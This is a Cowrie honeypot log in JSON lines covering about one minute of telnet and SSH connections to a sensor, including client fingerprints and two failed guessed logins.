{"eventid":"cowrie.session.closed","duration":30.747376203536987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:30.059155Z","src_ip":"173.249.14.218","session":"9a878fc7ed29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027188062667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:32.097250Z","src_ip":"173.249.14.218","session":"084430d7ee04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e81e96d847","protocol":"telnet","message":"New connection: 173.249.14.218:41102 (159.203.135.109:23) [session: 30e81e96d847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:32.791600Z"}
{"eventid":"cowrie.session.closed","duration":30.573517560958862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:33.064749Z","src_ip":"173.249.14.218","session":"18b0a3d7335e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":42524,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccbc3fb702fd","protocol":"telnet","message":"New connection: 173.249.14.218:42524 (159.203.135.109:23) [session: ccbc3fb702fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:33.646246Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":42538,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4743e1fe60","protocol":"telnet","message":"New connection: 173.249.14.218:42538 (159.203.135.109:23) [session: 1f4743e1fe60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:33.673836Z"}
{"eventid":"cowrie.session.closed","duration":30.282478094100952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:35.064031Z","src_ip":"173.249.14.218","session":"22153189539a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":44978,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f075a92fe6","protocol":"telnet","message":"New connection: 173.249.14.218:44978 (159.203.135.109:23) [session: 71f075a92fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:35.172732Z"}
{"eventid":"cowrie.session.closed","duration":31.06528353691101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:36.048695Z","src_ip":"173.249.14.218","session":"e39a30f72ed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848680019378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:37.101187Z","src_ip":"173.249.14.218","session":"9b68c48900e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95034122467041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:38.681973Z","src_ip":"173.249.14.218","session":"d35ed5d149c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285428524017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:40.108913Z","src_ip":"173.249.14.218","session":"807073670840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.458176374435425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:40.133325Z","src_ip":"173.249.14.218","session":"2a8b5e14f791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":55302,"dst_ip":"159.203.135.109","dst_port":23,"session":"123aef565a73","protocol":"telnet","message":"New connection: 173.249.14.218:55302 (159.203.135.109:23) [session: 123aef565a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:41.057636Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56726,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbbecb95e954","protocol":"telnet","message":"New connection: 173.249.14.218:56726 (159.203.135.109:23) [session: dbbecb95e954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:41.982167Z"}
{"eventid":"cowrie.session.closed","duration":30.557332277297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:42.072567Z","src_ip":"173.249.14.218","session":"f4be1a590419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31680655479431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:42.079229Z","src_ip":"173.249.14.218","session":"0006a4f6166b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.192595958709717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:43.070742Z","src_ip":"173.249.14.218","session":"4d9e0fbdd121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59680,"dst_ip":"159.203.135.109","dst_port":23,"session":"616f0c4b7a7a","protocol":"telnet","message":"New connection: 173.249.14.218:59680 (159.203.135.109:23) [session: 616f0c4b7a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:43.907792Z"}
{"eventid":"cowrie.session.closed","duration":30.934208631515503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:44.137697Z","src_ip":"173.249.14.218","session":"3961d8f8f7d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":53272,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa0f49236cae","protocol":"ssh","message":"New connection: 103.172.20.218:53272 (159.203.135.109:22) [session: fa0f49236cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:44.810007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:44.816018Z","src_ip":"103.172.20.218","session":"fa0f49236cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":32789,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2cf5f7b7fd","protocol":"telnet","message":"New connection: 173.249.14.218:32789 (159.203.135.109:23) [session: df2cf5f7b7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:44.876184Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.043161Z","src_ip":"103.172.20.218","session":"fa0f49236cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61418342590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.057561Z","src_ip":"173.249.14.218","session":"cd66bc24c9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547430276870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.062345Z","src_ip":"173.249.14.218","session":"077663024a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":33804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1bfd6c680dc","protocol":"telnet","message":"New connection: 173.249.14.218:33804 (159.203.135.109:23) [session: a1bfd6c680dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.459336Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":34206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6562e1b24da4","protocol":"telnet","message":"New connection: 173.249.14.218:34206 (159.203.135.109:23) [session: 6562e1b24da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.690440Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2021","message":"login attempt [admin/2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:45.983944Z","src_ip":"103.172.20.218","session":"fa0f49236cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f47a88b67d5","protocol":"ssh","message":"New connection: 159.203.92.129:59334 (159.203.135.109:22) [session: 7f47a88b67d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:46.287858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:46.292672Z","src_ip":"159.203.92.129","session":"7f47a88b67d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:46.300974Z","src_ip":"159.203.92.129","session":"7f47a88b67d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cloudroot","message":"login attempt [admin/cloudroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:46.313132Z","src_ip":"159.203.92.129","session":"7f47a88b67d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35766,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f1c8c6c7c3","protocol":"telnet","message":"New connection: 173.249.14.218:35766 (159.203.135.109:23) [session: 69f1c8c6c7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:46.592497Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:47.214216Z","src_ip":"103.172.20.218","session":"fa0f49236cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:47.320475Z","src_ip":"159.203.92.129","session":"7f47a88b67d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":38210,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0f6ae99d4a","protocol":"telnet","message":"New connection: 173.249.14.218:38210 (159.203.135.109:23) [session: dd0f6ae99d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:48.252562Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39354,"dst_ip":"159.203.135.109","dst_port":23,"session":"59881eb76e41","protocol":"telnet","message":"New connection: 173.249.14.218:39354 (159.203.135.109:23) [session: 59881eb76e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:48.847195Z"}
{"eventid":"cowrie.session.closed","duration":30.56400203704834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:50.247192Z","src_ip":"173.249.14.218","session":"23a0948986d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":42138,"dst_ip":"159.203.135.109","dst_port":23,"session":"187880e190ea","protocol":"telnet","message":"New connection: 173.249.14.218:42138 (159.203.135.109:23) [session: 187880e190ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:50.494028Z"}
{"eventid":"cowrie.session.closed","duration":30.452144384384155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:52.055490Z","src_ip":"173.249.14.218","session":"39a6251b252b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289624452590942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:52.096479Z","src_ip":"173.249.14.218","session":"1ade3882fa91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660146713256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:53.142116Z","src_ip":"173.249.14.218","session":"794f63f2e197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797009468078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:54.102817Z","src_ip":"173.249.14.218","session":"c4e2b6a4a4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691951274871826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:56.053987Z","src_ip":"173.249.14.218","session":"ff8ab0744b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"648fd4813b5e","protocol":"telnet","message":"New connection: 173.249.14.218:52384 (159.203.135.109:23) [session: 648fd4813b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:56.961676Z"}
{"eventid":"cowrie.session.closed","duration":30.95704174041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:57.122051Z","src_ip":"173.249.14.218","session":"4b8dbab9969c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":53762,"dst_ip":"159.203.135.109","dst_port":23,"session":"950356509242","protocol":"telnet","message":"New connection: 173.249.14.218:53762 (159.203.135.109:23) [session: 950356509242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:57.676107Z"}
{"eventid":"cowrie.session.closed","duration":30.379029035568237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:58.055812Z","src_ip":"173.249.14.218","session":"5d7d624e58c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4389365b19d","protocol":"telnet","message":"New connection: 173.249.14.218:54984 (159.203.135.109:23) [session: b4389365b19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:58.448630Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":55482,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39bbd17762a","protocol":"telnet","message":"New connection: 173.249.14.218:55482 (159.203.135.109:23) [session: f39bbd17762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:58.761697Z"}
{"eventid":"cowrie.session.closed","duration":30.665515899658203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:59.065915Z","src_ip":"173.249.14.218","session":"8d5e32a307be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53662419319153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:00.062519Z","src_ip":"173.249.14.218","session":"6921bb0fa981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736676692962646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:00.126865Z","src_ip":"173.249.14.218","session":"081819e0f0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.262699604034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:03.054138Z","src_ip":"173.249.14.218","session":"30e81e96d847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419657468795776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:04.065774Z","src_ip":"173.249.14.218","session":"ccbc3fb702fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4280207157135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:04.101718Z","src_ip":"173.249.14.218","session":"1f4743e1fe60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23ad350fe50","protocol":"telnet","message":"New connection: 173.249.14.218:39654 (159.203.135.109:23) [session: f23ad350fe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:06.547150Z"}
{"eventid":"cowrie.session.closed","duration":31.78763198852539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:06.960268Z","src_ip":"173.249.14.218","session":"71f075a92fe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023260593414307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:12.080802Z","src_ip":"173.249.14.218","session":"123aef565a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101083517074585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:13.083109Z","src_ip":"173.249.14.218","session":"dbbecb95e954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136794805526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:15.044457Z","src_ip":"173.249.14.218","session":"616f0c4b7a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24249267578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:15.118581Z","src_ip":"173.249.14.218","session":"df2cf5f7b7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382904767990112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:16.073243Z","src_ip":"173.249.14.218","session":"6562e1b24da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62516140937805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:16.084375Z","src_ip":"173.249.14.218","session":"a1bfd6c680dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56266,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e077473553","protocol":"telnet","message":"New connection: 173.249.14.218:56266 (159.203.135.109:23) [session: a6e077473553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:16.774068Z"}
{"eventid":"cowrie.session.closed","duration":30.47317361831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:17.065529Z","src_ip":"173.249.14.218","session":"69f1c8c6c7c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57382,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f1afd35e8a","protocol":"telnet","message":"New connection: 173.249.14.218:57382 (159.203.135.109:23) [session: 02f1afd35e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:17.418372Z"}
{"eventid":"cowrie.session.closed","duration":30.231937170028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:19.078988Z","src_ip":"173.249.14.218","session":"59881eb76e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858124017715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:19.110600Z","src_ip":"173.249.14.218","session":"dd0f6ae99d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":34156,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c830871fcc","protocol":"telnet","message":"New connection: 173.249.14.218:34156 (159.203.135.109:23) [session: a3c830871fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:20.564794Z"}
{"eventid":"cowrie.session.closed","duration":30.56158208847046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:21.055489Z","src_ip":"173.249.14.218","session":"187880e190ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37084,"dst_ip":"159.203.135.109","dst_port":23,"session":"44779a156c89","protocol":"telnet","message":"New connection: 173.249.14.218:37084 (159.203.135.109:23) [session: 44779a156c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:22.394002Z"}
